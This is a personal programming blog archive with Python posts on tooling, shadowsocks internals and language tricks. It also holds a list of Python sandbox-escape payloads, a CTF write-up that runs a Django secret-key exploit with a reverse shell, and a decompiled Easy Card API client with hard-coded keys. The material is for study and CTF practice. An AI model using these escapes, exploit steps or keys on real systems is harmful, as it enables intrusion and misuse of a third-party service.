Showing posts with label python. Show all posts
Showing posts with label python. Show all posts

Saturday, September 22, 2018

vlc chromecast shortcut with ranger file manager


I own a Sony TV which has a nice Chromecast built-in feature. So far I've been using VLC's Chromecast renderer for playing the videos.

Today I took a look at ranger file manager custom commands and wrote a shortcut for it. Just to save my life to avoid a few clickings every time I watch anime.


class tv(Command):
    def execute(self):
        tv = "vlc --sout="#chromecast{ip=192.168.xx.xx}" --demux-filter=demux_chromecast"
        filepath = self.fm.thisfile.path
        command = '{} "{}"'.format(tv, filepath)
        self.fm.execute_command(command)

Friday, November 13, 2015

gdb pretty-print python path


On some of my dev machines (freaking Ubuntu 14.04), gdb can't find the pretty print python extension.

(^q^) r
Starting program: /home/xatier/xxxxx
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Traceback (most recent call last):
  File "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19-gdb.py", line 63, in <module>
    from libstdcxx.v6.printers import register_libstdcxx_printers
ImportError: No module named 'libstdcxx'


Let's print python path:


On Ubuntu 14.04
(^q^) python print(sys.path)
['/usr/share/gdb/python', '/usr/lib/python3.4', '/usr/lib/python3.4/plat-x86_64-linux-gnu', '/usr/lib/python3.4/lib-dynload', '/usr/local/lib/python3.4/dist-packages', '/usr/lib/python3/dist-packages']

On arch linux
(^q^) python print(sys.path)
['/usr/lib/../share/gcc-5.2.0/python', '/usr/share/gdb/python', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-linux', '/usr/lib/python3.5/lib-dynload', '/usr/lib/python3.5/site-packages']


See? So basically the python scripts are under /usr/share/<gcc-ver>/python

$ ls /usr/share | grep gcc
gcc-4.8


Just add this line to your ~/.gdbinit :

python sys.path.append("/usr/share/gcc-4.8/python")


Now you are good.

(^q^) python print(sys.path)
['/usr/share/gdb/python', '/usr/lib/python3.4', '/usr/lib/python3.4/plat-x86_64-linux-gnu', '/usr/lib/python3.4/lib-dynload', '/usr/local/lib/python3.4/dist-packages', '/usr/lib/python3/dist-packages', '/usr/share/gcc-4.8/python']


Thursday, June 11, 2015

Interactive debugging in Python

Just put this thing anywhere in your python code.




import code                                                                    
code.interact(local=locals())                                                  

import IPython                                                                 
IPython.embed()

Monday, May 4, 2015

Reverseing reverse engineered tools: reverse on the pyc of Easy-Card tool

A hacker called  Zhi-Wei Cai did some reverse engineering on Taipei city passport Easy Card credit querying system.


https://github.com/x43x61x69/Easy-Card


But he only released the .pyc file.

I tool a glance on the binary file and smiled, he didn't apply any code obfuscation on that, that is, it would be pretty easy for those who want to read the source code.

With the help of this tool: https://github.com/wibiti/uncompyle2

uncompyle2 easycard.pyc > easycard.py

You can decompile that yourself.




Basically the API takes 4 parameters: verify, cardID, begin, end.


verify = md5((seed * const) + salt)
where
    seed = date.month + date.day + date.hour
    salt = 'L0CalKing'
    const = 8544

cardID = base64( des3( data, key, iv, mode=DEC3.MODE_CBC) )
where
    data = 'your card ID', like '1234567889'
    key = 'EasyCardToKingay23456789
    iv = '01234567'
   
begin / end = time period


I'm really curious about how did he get these constants , but I don't want to dig up the original app. :)


Lesson: don't release .pyc file without code obfuscation if you really don't want any people try to dig up your code.


Code listing (partially omitted):

#!/usr/bin/env python2
# -*- encoding: utf8 -*-

# 2015.05.04 17:41:47 CST
import sys
import datetime
import hashlib
import urllib
import urllib2
import json
from Crypto.Cipher import DES3
import pytz
version = '0.3'
copyright = 'Copyright (C) 2015 Zhi-Wei Cai.'
key = 'EasyCardToKingay23456789'
iv = '01234567'
salt = 'L0CalKing'
const = 8544

def getID(data, isEncrypt, key, iv, encode):
    size = len(data)
    # '\x06' is the padding of DES3
    if size % 16 != 0:
        data += '\x06' * (16 - size % 16)
    des3 = DES3.new(key, DES3.MODE_CBC, iv)
    if isEncrypt:
        result = des3.encrypt(data).encode(encode).rstrip()
    else:
        result = des3.decrypt(data.decode(encode))
    return result



def getVerify(const, seed, salt):
    hash = hashlib.md5()
    hash.update(str(seed * const) + salt)
    return hash.hexdigest().upper()



def proc(data):
    e = getID(data, 1, key, iv, 'base64')
    cardID = urllib.quote_plus(e)
    date = datetime.datetime.now(pytz.timezone('Asia/Taipei'))
    seed = date.month + date.day + date.hour
    begin = '{:%Y-%m-%d}'.format(date - datetime.timedelta(days=30))
    end = '{:%Y-%m-%d}'.format(date)
    verify = getVerify(const, seed, salt)
    url = '<Easy Card API URL>'.format(verify, cardID, begin, end)
    req = urllib2.Request(url)
    response = urllib2.urlopen(req)
    content = response.read()
    dict = json.loads(content)

   # the rest part of the code is omitted


if __name__ == '__main__':
    print '\n悠遊卡餘額明細查詢 v{}'.format(version)
    print '{}\n'.format(copyright)
    if len(sys.argv) > 1:
        try:
            print '\n{:=^90}\n'.format('[ 查詢開始 ]')
            proc(str(sys.argv[1]))
        except ValueError as err:
            pass
    else:
        while 1:
            try:
                data = raw_input('請輸入卡片號碼:').replace(' ', '')
                if len(data):
                    print '\n{:=^90}\n'.format('[ 查詢開始 ]')
                    proc(data)
                else:
                    break
            except ValueError as err:
                pass


#+++ okay decompyling easycard.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2015.05.04 17:41:47 CST

Wednesday, April 8, 2015

More notes for shadowsocks

I wrote a note for the usage of shadowsocks few days ago: http://xatierlike.blogspot.tw/2015/03/note-for-shadowsocks.html

I spent some time to dig into the source code of the project and came up with this note, just a note for what I've found. :D


License

shadowsocks is under Apache 2.0.

autoban

There's a script called autoban.py under shadowsocks/utils .

According to the official wiki, that is used for banning brute force crackers.
https://github.com/shadowsocks/shadowsocks/wiki/Ban-Brute-Force-Crackers

Actually, autoban.py is implemented by iptables , this script looks at the log and find something like this and grab the remote remote IP out.

'2015-04-07 16:42:26 ERROR    can not parse header when handling connection from 61.157.96.193:27242'

if 'can not parse header when' in line:
    ip = line.split()[-1].split(':')[0
    ...
    cmd = 'iptables -A INPUT -s %s -j DROP' % ip
    print(cmd, file=sys.stderr)
    os.system(cmd)


Versions

shadowsocks uses a very strange way to determine it's running under python2 or python3.

if bytes == str

This is True in python2 but False in python3.

Also, here's a strange logic to check the version.

I will write if info[0] == 2 and info[1] < 6 rather than the author does.

def check_python():
    info = sys.version_info
    if info[0] == 2 and not info[1] >= 6:
        print('Python 2.6+ required')
        sys.exit(1)
    elif info[0] == 3 and not info[1] >= 3:
        print('Python 3.3+ required')
        sys.exit(1)
    elif info[0] not in [2, 3]:
        print('Python version not supported')
        sys.exit(1)
     
     
Argument parsing

The entry points of sslocal and ssserver commands are the main functions in local.py and server.py, respectively.

shell.py checks command line arguments and checks the configuration files, it's using getopt, I think that should should be rewrite with argparse .


Event loop and Relay:

Basically shadowsocks abstracts three kinds of polling system: epool, kqueue and system select, it will use them in order if available.

class EventLoop(object):
    def __init__(self):
        self._iterating = False
        if hasattr(select, 'epoll'):
            self._impl = EpollLoop()
            model = 'epoll'
        elif hasattr(select, 'kqueue'):
            self._impl = KqueueLoop()
            model = 'kqueue'
        elif hasattr(select, 'select'):
            self._impl = SelectLoop()
            model = 'select'
        else:
            raise Exception('can not find any available functions in select '
                            'package')


So basically shadowsocks has a local server connected to the SOCK5 proxy and send data to remote via TCP/UDP relays.

Both of TCP/UDP relays will encrypt the payload with specified algorithms.

Here's the diagram of the idea of shadowsocks.

browser <== SOCKS proxy ==> local <== TCP/UDP relays ==> remote => free world

browser <== plain text ==> local <= encrypted data => GFW <= encrypted data => remote => free world


Pretty similar to SSH tunnel, right?

browser <= socks proxy => ssh client <= tunnel => ssh server => free world

The feathers of SSH handshaking traffic is easily blocked by GFW, shadowsocks are just simple standard TCP/UDP traffic with unknown/encrypted payloads.


The following is from the comments of tcprelay.py and rdprelay.py .

TCP Relay

# for each opening port, we have a TCP Relay
# for each connection, we have a TCP Relay Handler to handle the connection
# for each handler, we have 2 sockets:
#    local:   connected to the client
#    remote:  connected to remote server

# as sslocal:
# stage 0 SOCKS hello received from local, send hello to local
# stage 1 addr received from local, query DNS for remote
# stage 2 UDP assoc
# stage 3 DNS resolved, connect to remote
# stage 4 still connecting, more data from local received
# stage 5 remote connected, piping local and remote

# as ssserver:
# stage 0 just jump to stage 1
# stage 1 addr received from local, query DNS for remote
# stage 3 DNS resolved, connect to remote
# stage 4 still connecting, more data from local received
# stage 5 remote connected, piping local and remote

UDP Relay

# HOW TO NAME THINGS
# ------------------
# `dest`    means destination server, which is from DST fields in the SOCKS5
#           request
# `local`   means local server of shadowsocks
# `remote`  means remote server of shadowsocks
# `client`  means UDP clients that connects to other servers
# `server`  means the UDP server that handles user requests


Misc

shadowsocks implements its own DNS query (asyncdns.py) and LRU caching  (lru_cache.py) system.


Reference:
http://vc2tea.com/whats-shadowsocks/
http://gpio.me/readcode-ShadowSocks.html

Tuesday, March 24, 2015

Note for shadowsocks

Shadowsocks is a popular open sourced tunneling tool in China.

https://github.com/shadowsocks/shadowsocks
https://www.archlinux.org/packages/community/any/shadowsocks/

(both server and client)
sudo pacman -S shadowsocks

Salsa20 & Chacha20 support
sudo pacman -S libsodium python2-numpy python2-salsa20

/etc/shadowsocks/config.json
{
"server":"remote-shadowsocks-server-ip-addr",
"server_port":8888,
"local_address":"127.0.0.1",
"local_port":1080,
"password":"your-passwd",
"timeout":300,
"method":"aes-256-cfb",
"fast_open":false,
"workers":1
}


server
sudo ssserver -c /etc/shadowsocks/config.json --user nobody

run as daemon
sudo ssserver -c /etc/shadowsocks/config.json --user nobody -d start
sudo ssserver -d stop

client
sslocal -c /etc/shadowsocks/config.json

run as daemon
sudo sslocal -c /etc/shadowsocks/config.json -d start
sudo sslocal -c /etc/shadowsocks/config.json -d stop


Chromium: use Proxy SwitchyOmega and connect to a local socks5 proxy
https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif

Android Client
https://play.google.com/store/apps/details?id=com.github.shadowsocks

QR code for Android client
sudo pacman -S python2-qrcode
echo -n "ss://"`echo -n aes-256-cfb:password@1.2.3.4:8388 | base64` | qr


References:

https://github.com/shadowsocks/shadowsocks/wiki
https://wiki.archlinux.org/index.php/Shadowsocks_%28%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87%29



Thursday, December 11, 2014

Python jailbreak

This is a very common method to escape from a python jail.

The key idea is obtaining the <warnings.catch_warnings> class

# try to get <class 'warnings.catch_warnings'>
for i, j in enumerate({}.__class__.__base__.__subclasses__()):
    print(i, j)

# or another alternative way
print([c for c in {}.__class__.__base__.__subclasses__()  if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os'))

# The 59 here is warnings.catch_warnings
w = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')
w.system("id")

w = [].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')
w.system("id")

w = {}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')
w.system("id")

w = ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"]
w.system("id")

w = [].__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"]
w.system("id")

w = {}.__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"]
w.system("id")


# all of the aboves are equivalent to
import os
os.system("id")



Sunday, November 2, 2014

Converting Markdown to reStructuredText

I hate reStructuredText, it is not readable for me. But still, in some cases I have to hand on some stuffs in RST.

pandoc is a markup language converter written in Haskell (WTF?)/

https://github.com/jgm/pandoc

Usage:

pandoc -f markdown -t rst -o README.rst README.md

pandoc --from=markdown --to=rst --output=README.rst README.md



pandoc [OPTIONS] [FILES]
Input formats:  docbook, docx, epub, haddock, html, json, latex, markdown,
                markdown_github, markdown_mmd, markdown_phpextra,
                markdown_strict, mediawiki, native, opml, org, rst, t2t,
                textile
Output formats: asciidoc, beamer, context, docbook, docx, dokuwiki, dzslides,
                epub, epub3, fb2, haddock, html, html5, icml, json, latex, man,
                markdown, markdown_github, markdown_mmd, markdown_phpextra,
                markdown_strict, mediawiki, native, odt, opendocument, opml,
                org, pdf*, plain, revealjs, rst, rtf, s5, slideous, slidy,
                texinfo, textile
                [*for pdf output, use latex or beamer and -o FILENAME.pdf]

Friday, March 7, 2014

Setup a remote ipyhton notebook

# setup a password for the notebook
$ ipython
In [1]: from IPython.lib import passwd
In [2]: passwd()
Enter password:
Verify password:
Out[2]: 'sha1:747ba2295030:7bbe79e452b9bb3cae6e66ed738563e18a15462c'


# self-signed cert
$ openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert

# edit the profile for notebook
$ mkdir ~/.config/ipython/profile_serv/
$ vim ~/.config/ipython/profile_serv/ipython_notebook_config.py

c = get_config()
c.NotebookApp.password = u'sha1:747ba2295030:7bbe79e452b9bb3cae6e66ed738563e18a15462c'
c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 10001
c.NotebookApp.certfile = u'/home/xatier/note/mycert.pem'

# run it!
$ ipython notebook --profile=serv



Reference:

http://ipython.org/ipython-doc/stable/interactive/public_server.html
http://nbviewer.ipython.org/github/Unidata/tds-python-workshop/blob/master/ipython-notebook-server.ipynb

Saturday, July 20, 2013

HIT2013 解題心得


今年因為一些緣故,所以無法到會場參加每年安全最大的盛會 hitcon

雖然一開始搶票的時候沒弄到,連幹了活X通幾聲

然而,幸運的在今年 PyCON 2013 中午看到 @crboy 小畢發噗,說也來寫個哀怨的對聯好了XDD




創意對聯
Cyberwar: in hack, we trust
Ticketwar: at midnight, the site crashed
橫批:Distributed Denial of Service


沒想到... 就拿到票惹XD




不過後來還是沒去啦... QQ

Anyway, 來寫心得文吧!XD

今年題目設計和以往又有些不同,多了很多  AppleScript/Obj-C 的 hacking, PE / .NET 逆向題目也不錯,.apk 也許也該來碰了...XD

各題首次破台者 

媽我在這~~~._./



最終盤面


心得與思路分享




R100 這題看了半天看不出所以然 QQ






AppleScript ... WTF

run-only 屬性去不掉,GG




一樣是沒碰過的 apk 題... 該來研究了 (?)




apk 兩題




這題很有趣,首先要寫兩個 script 把 RAR 解開 100 層,接著,要把剩下來解開 RAR 的檔名"拼" 成一個 binary file... Orz






稍作整理然後轉成 binary

echo -n -e $(tr -d '[:space:]' | sed 's/../\\x&/g')

$ file new.bin
new.bin: PE32 executable for MS Windows (console) Intel 80386 32-bit




這個東西拿到 VM 底下就一隻該死的南瓜... Orz (而且還會唱歌www)


而且還需要用 upx 去個殼...

strings 結果:


字串都不是 key

IDA 看了很久也沒有想法,丟給隊友作,後來據說是解神奇的數學 (?


解!







這題乍看之下要分析 JavaScript (小弟苦手...

而且還是 aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻

不過... 其實秘訣就... 讓那段 code 動起來XDD
chrome console 下,var foo = function {......}
foo();

就拿到 key 啦!還會有動畫XDDDD


解!






Web 苦手,pass 給隊友 Orz

社交工程 pf ㄉㄉ也可以拿到 key




Pass, 不過聽說不難




Pass




Pass, CrBoy / rsghost / JokerCatz 解開惹 0w0







這題其實www

乍看之下 py2exe 要反解... 不過就...

unzip + vim 搞定XD






丟 IDA 看... 沒想法QQ







Obj-C ... Orz

中間一排 AAA 很可疑就是...






再一題 Obj-C ... WTF






找到了諸多疑點,可是沒弄出來QQ

strings 出來的解和這邊一樣...

http://stuff.mit.edu/afs/sipb/project/hurddev/tb/libc/locale/C-identification.c

http://svn.haiku-os.org/oldhaiku/haiku/branches/old/wcsmbs/current/src/kernel/libroot/posix/glibc/wcsmbs/wcsmbsload.c

Pass 給隊友



TW1943 做了逆向, CrBoy 他們解出了一個 C# 的 twitter bot ... 可是沒猜出來







這個也殘念,exploit pdf 先丟反解把 pdf decode 成明碼

用和這邊 類似的作法,可是沒找到可疑的 JavaScript ...



Pass



隊友 TW1943 完成
rar fix
nul.Ly
crack md5
Philippines






往年的尋常水題

hack the planet!




沒 PWN 出來QQ



windows ... 哭哭




也沒碰...





得意解!!!!!



PyCON.tw 2013 時,Orange 在 "駭客看 Django" 的議程上特別說過,Secret key 很重要,可以用來偽造 Cookie 達成許多不可思議的事情


Google 找攻略,這邊有詳細介紹這類的攻擊方式

首先 clone 這個 repo 下來

connback.py 改成自己的機器,做反彈 shell

然後

./exploit.py "1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk" http://vuln-django.orange.tw


到處看看

# cat ./app/key.txt

got!


關主 Orange 很得意的發噗說希望等人來解

看到後底下回個 QQ  ... 

沒想到 12 分鐘後就 done 了XDDDD





解完這題很開心,一度名次還沒前面的說QQ

我解完 PWN500 後自己測試帳號是第四名XDD

而且站在 CRAX 的前面!!!



歷史一瞬間!(圖片提供:rsg)





Anyway, 感謝各位隊友的幫助

BlueT
Divazone
JokerCatz
Mr. Q
rsggggggggggg
Shun-Yun Hu
TW1943
CrBoy


<(_ _)>


今年似乎魏藥也是有事情無法前來,可惜了...QQ

玩得很開心最重要,名次就... 不重要吧XD

另外恭喜 SQlab 的 CRAX 和 DSNS lab 都拿了不錯的成績

HackStuff 的朋友們也表現很亮眼




大家加油!明年再接再厲!

xatier @hitcon2013



Wednesday, May 1, 2013

Python format string

更多請參考: PEP-3101



基本的  format string 使用方法:

# basic
In [1]: "Hello, {}".format("xatier")
Out[1]: 'Hello, xatier'


# {0} means the first argument in format()
In [2]: "Hello, {0}".format("xatier")
Out[2]: 'Hello, xatier'


# {1} means the second argument
In [3]: "{1} {0}".format("xatier", 3)
Out[3]: '3 xatier'


# pass arguments one by one
In [4]: "{} {}".format("xatier", 3)
Out[4]: 'xatier 3'


# use doubled { to represent '{'
In [5]: "{} {{".format("xatier")
Out[5]: 'xatier {'


# get item: use [] to get fields in a dictionary
In [10]: my_dog = {'name': "Jack", 'age': 3}

In [11]: "My dog's name: {0[name]}, {0[age]} years old.".format(my_dog)
Out[11]: "My dog's name: Jack, 3 years old."


# do the same thing in an anonymous dictionary
In [15]: "My name is {0[name]}".format({'name': 'Fred'})
Out[15]: 'My name is Fred'

In [16]: "My name is {0[name]}".format(dict(name='Fred'))
Out[16]: 'My name is Fred'


# get attribute: use '.' to get attributes in a class/object
In [18]: import sys

In [19]: "{0.stdin}".format(sys)
Out[19]: "<open file '<stdin>', mode 'r' at 0x7f88ecd94150>"

In [20]: "{0.stdin.write}".format(sys)
Out[20]: '<built-in method write of file object at 0x7f88ecd94150>'


# get object's data
In [30]: class Foo:
   ....:     def __init__(self, name="yoo"):
   ....:         self.name = name
   ....:

In [31]: a = Foo()

In [32]: "{0.name}".format(a)
Out[32]: 'yoo'

In [33]: a = Foo("my name ^.<")

In [34]: "{0.name}".format(a)
Out[34]: 'my name ^.<'

Only two operators are supported: the '.' (getattr) operator, and the '[]' (getitem) operator.
The reason for allowing these operators is that they don't normally have side effects in non-pathological code.



排版:


The general form of a standard format specifier is:
        [[fill]align][sign][#][0][minimumwidth][.precision][type]

    The brackets ([]) indicate an optional element.



# fill with space
In [42]: "My name is {0:8}".format('Fred')
Out[42]: 'My name is Fred    '


# string force to left/right
In [44]: "My name is {0:<8}".format('Fred')
Out[44]: 'My name is Fred    '

In [45]: "My name is {0:>8}".format('Fred')
Out[45]: 'My name is     Fred'


# floating point
In [72]: "{0:f}".format(123.45)
Out[72]: '123.450000'

In [73]: "{0:.3f}".format(123.45)
Out[73]: '123.450'

In [75]: "{0:>10.3f}".format(123.45)
Out[75]: '   123.450'


# show the + sign
In [76]: "{0:>+10.3f}".format(123.45)
Out[76]: '  +123.450'

In [77]: "{0:<+10.3f}".format(123.45)
Out[77]: '+123.450  '


# = means fill with
In [78]: "{0:<=10.3f}".format(123.45)
Out[78]: '<<<123.450'

In [79]: "{0:A=10.3f}".format(123.45)
Out[79]: 'AAA123.450'

In [80]: "{0:0=10.3f}".format(123.45)
Out[80]: '000123.450'

Tuesday, April 30, 2013

Python string permutation

很多時候需要有枚舉一串字的需求

Python 內建的 itertools 其實就有內建了

再加上 generator 語法可以很簡單的解決問題


In [1]: import itertools

In [2]: S = "abc"

In [3]: ("".join(i) for i in (itertools.permutations(sorted(S))))
Out[3]: <generator object <genexpr> at 0x1aa02d0>

In [4]: print ["".join(i) for i in (itertools.permutations(sorted(S)))]
['abc', 'acb', 'bac', 'bca', 'cab', 'cba']

In [5]: for i in ("".join(i) for i in (itertools.permutations(sorted(S)))): print i,
abc acb bac bca cab cba



"".join 是常用的 list->string 的標準作法,因為原本拿出來的結果是一個個的 tuple



In [6]: list(i for i in (itertools.permutations(sorted(S))))
Out[6]:
[('a', 'b', 'c'),
 ('a', 'c', 'b'),
 ('b', 'a', 'c'),
 ('b', 'c', 'a'),
 ('c', 'a', 'b'),
 ('c', 'b', 'a')]

Sunday, April 28, 2013

Python bytearray

在寫接近 C 的想法時,會想要在 Python 使用想是 C 的 array of char

之前一直為這個問題困擾很久,因為我只會用 Python string XD

看了點攻略,其實有這個可以用

於是乎就可以爽爽的用可變長度的 array of char in python 啦~


In [18]: a = bytearray(b'\x41\x42\x43\x44')    # create 'ABCD' in array of bytes

In [19]: a
Out[19]: bytearray(b'ABCD')

In [20]: a.lower()                             # to lowercase
Out[20]: bytearray(b'abcd')

In [21]: a[0] = 0x45                           # assign values just like char[] in C language

In [22]: a
Out[22]: bytearray(b'EBCD')

In [23]: a.decode('ascii')                     # get a string in ASCII
Out[23]: 'EBCD'

In [24]: a.append(ord('F'))                    # variable length

In [25]: a
Out[25]: bytearray(b'EBCDF')



很棒的是,基本上 string 的方法都可以用



In [27]: bytearray.
bytearray.append      bytearray.isalnum     bytearray.mro         bytearray.split
bytearray.capitalize  bytearray.isalpha     bytearray.partition   bytearray.splitlines
bytearray.center      bytearray.isdigit     bytearray.pop         bytearray.startswith
bytearray.count       bytearray.islower     bytearray.remove      bytearray.strip
bytearray.decode      bytearray.isspace     bytearray.replace     bytearray.swapcase
bytearray.endswith    bytearray.istitle     bytearray.reverse     bytearray.title
bytearray.expandtabs  bytearray.isupper     bytearray.rfind       bytearray.translate
bytearray.extend      bytearray.join        bytearray.rindex      bytearray.upper
bytearray.find        bytearray.ljust       bytearray.rjust       bytearray.zfill
bytearray.fromhex     bytearray.lower       bytearray.rpartition
bytearray.index       bytearray.lstrip      bytearray.rsplit
bytearray.insert      bytearray.maketrans   bytearray.rstrip



Friday, April 26, 2013

qsort in Python/Perl

社窩開始了 python 練習

題目是 qsort

其實就是最簡單的想法,分兩堆然後相加



第一次寫的方法是用 filter, 不過某 apua 說要用 list comprehension 才潮,所以 XD

然後後來寫了 Perl 版


Python

q = lambda l: (q(filter(lambda x: x > l[0], l)) + [l[0]] + q(filter(lambda x: x < l[0], l)) if l else [])


q = lambda l: ((q([ x for x in l if x > l[0]]) + [l[0]] + q([ x for x in l if x < l[0]])) if l else [])


print q([3, 5, 1, 2, 4, 7, 89, 9, 10])

Perl

sub qs { @_ ? (qs(grep {$_ > $_[0]} @_), $_[0], qs(grep {$_ < $_[0]} @_)): (); }

say join(", ", qs(10, 6, 2, 6, 2, 6, 4, 1, 3));




其實這想法很 FP,以下可以看看 Haskell code XD

Haskell

qsortOneLine s = case s of{[]->[];(x:xs)->qsortOneLine [y | y<-xs, y<x] ++ x : qsortOneLine [y | y<-xs, y>=x]}